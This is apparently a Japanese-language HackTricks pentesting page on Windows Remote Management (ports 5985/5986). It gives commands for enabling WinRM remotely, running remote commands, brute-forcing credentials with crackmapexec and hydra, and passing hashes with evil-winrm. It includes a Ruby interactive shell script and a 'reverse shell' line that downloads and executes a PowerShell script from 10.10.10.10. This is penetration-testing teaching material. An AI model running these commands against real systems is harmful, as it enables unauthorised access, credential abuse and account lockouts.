# 5985,5986 - Pentesting WinRM {{#include ../banners/hacktricks-training.md}} ## WinRM [Windows Remote Management (WinRM)]() は、**Microsoftによって強調されたプロトコル**であり、**HTTP(S)を通じてWindowsシステムのリモート管理を可能にします**。このプロセスではSOAPを利用しています。基本的にはWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして機能します。 マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介したリモート管理が簡単に行えます。WinRMが稼働しているかどうかを確認するには、特定のポートが開いているかをチェックすることが推奨されます: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** 上記のリストにあるポートが開いている場合、WinRMが設定されていることを示し、リモートセッションを開始する試みを許可します。 ### **WinRMセッションの開始** WinRMのためにPowerShellを設定するには、Microsoftの`Enable-PSRemoting` cmdletを使用し、リモートPowerShellコマンドを受け入れるようにコンピュータを設定します。昇格されたPowerShellアクセスを持っている場合、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定できます: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` このアプローチは、`trustedhosts` 設定にワイルドカードを追加することを含みます。このステップは、その影響を考慮する必要があるため、慎重な検討が求められます。また、攻撃者のマシンでネットワークタイプを「Public」から「Work」に変更する必要があることも指摘されています。 さらに、WinRMは `wmic` コマンドを使用して**リモートで**アクティブ化できます。以下に示します: ```powershell wmic /node: process call create "powershell enable-psremoting -force" ``` この方法は、WinRMのリモート設定を可能にし、遠隔からWindowsマシンを管理する柔軟性を高めます。 ### 設定されているかテストする 攻撃マシンの設定を確認するために、`Test-WSMan`コマンドを使用して、ターゲットがWinRMを適切に設定しているかどうかをチェックします。このコマンドを実行することで、プロトコルバージョンやwsmidに関する詳細が返され、設定が成功したことを示します。以下は、設定されたターゲットと未設定のターゲットの期待される出力を示す例です: - **適切に設定されている**ターゲットの場合、出力は次のようになります: ```bash Test-WSMan ``` プロトコルバージョンとwsmidに関する情報が含まれており、WinRMが正しく設定されていることを示しています。 ![](<../images/image (582).png>) - 逆に、WinRMが設定されていないターゲットの場合、詳細な情報は得られず、適切なWinRM設定がないことが強調されます。 ![](<../images/image (458).png>) ### コマンドを実行する ターゲットマシンで`ipconfig`をリモートで実行し、その出力を表示するには、次のようにします: ```powershell Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) 現在のPSコンソールのコマンドを**_**Invoke-Command**_を介して**実行することもできます**。ローカルに**_**enumeration**_という関数があり、リモートコンピュータでそれを**実行したい場合**、次のようにします: ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### スクリプトを実行する ```powershell Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### リバースシェルを取得する ```powershell Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### PSセッションを取得する インタラクティブなPowerShellシェルを取得するには、`Enter-PSSession`を使用します: ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) # Enter Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username] ## Bypass proxy Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) # Save session in var $sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) Enter-PSSession $sess ## Background current PS session Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...) ``` ![](<../images/image (1009).png>) **セッションは「被害者」の内部で新しいプロセス(wsmprovhost)で実行されます** ### **WinRMを強制的に開く** PSリモーティングとWinRMを使用するために、コンピュータが構成されていない場合は、次のコマンドで有効にできます: ```powershell .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### セッションの保存と復元 この**機能は動作しません**、もし**リモートコンピュータ**で**言語**が**制約**されている場合。 ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) #You can save a session inside a variable $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)] #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` このセッション内では、_Invoke-Command_ を使用して PS スクリプトをロードできます。 ```powershell Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### エラー 次のエラーが表示された場合: `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` クライアントで試してみてください(情報は [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server) から): ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ``` ## WinRM接続のLinuxでの実行 ### ブルートフォース 注意してください。winrmのブルートフォースはユーザーをブロックする可能性があります。 ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt #Just check a pair of credentials # Username + Password + CMD command execution crackmapexec winrm -d -u -p -x "whoami" # Username + Hash + PS command execution crackmapexec winrm -d -u -H -X '$PSVersionTable' #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm ``` ### evil-winrmの使用 ```ruby gem install evil-winrm ``` **ドキュメント**をGitHubで読む: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` **evil-winrm**を使用して**IPv6アドレス**に接続するには、_**/etc/hosts**_内にエントリを作成し、**ドメイン名**をIPv6アドレスに設定して、そのドメインに接続します。 ### evil-winrmでハッシュを渡す ```ruby evil-winrm -u -H -i ``` ![](<../images/image (680).png>) ### PS-docker マシンの使用 ``` docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` ### Rubyスクリプトの使用 **ここから抽出したコード:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/) ```ruby require 'winrm-fs' # Author: Alamot # To upload a file type: UPLOAD local_path remote_path # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt # https://alamot.github.io/winrm_shell/ conn = WinRM::Connection.new( endpoint: 'https://IP:PORT/wsman', transport: :ssl, user: 'username', password: 'password', :no_ssl_peer_verification => true ) class String def tokenize self. split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/). select {|s| not s.empty? }. map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')} end end command="" file_manager = WinRM::FS::FileManager.new(conn) conn.shell(:powershell) do |shell| until command == "exit\n" do output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") print(output.output.chomp) command = gets if command.start_with?('UPLOAD') then upload_command = command.tokenize print("Uploading " + upload_command[1] + " to " + upload_command[2]) file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path| puts("#{bytes_copied} bytes of #{total_bytes} bytes copied") end command = "echo `nOK`n" end output = shell.run(command) do |stdout, stderr| STDOUT.print(stdout) STDERR.print(stderr) end end puts("Exiting with code #{output.exitcode}") end ``` ## Shodan - `port:5985 Microsoft-HTTPAPI` ## References - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## HackTricks 自動コマンド ``` Protocol_Name: WinRM #Protocol Abbreviation if there is one. Port_Number: 5985 #Comma separated if there is more than one. Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for WinRM Note: | Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. sudo gem install winrm winrm-fs colorize stringio git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/ ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/ ^^so you can upload binary's from that directory or -s to upload scripts (sherlock) menu invoke-binary `tab` #python3 import winrm s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html Entry_2: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` ​ {{#include ../banners/hacktricks-training.md}}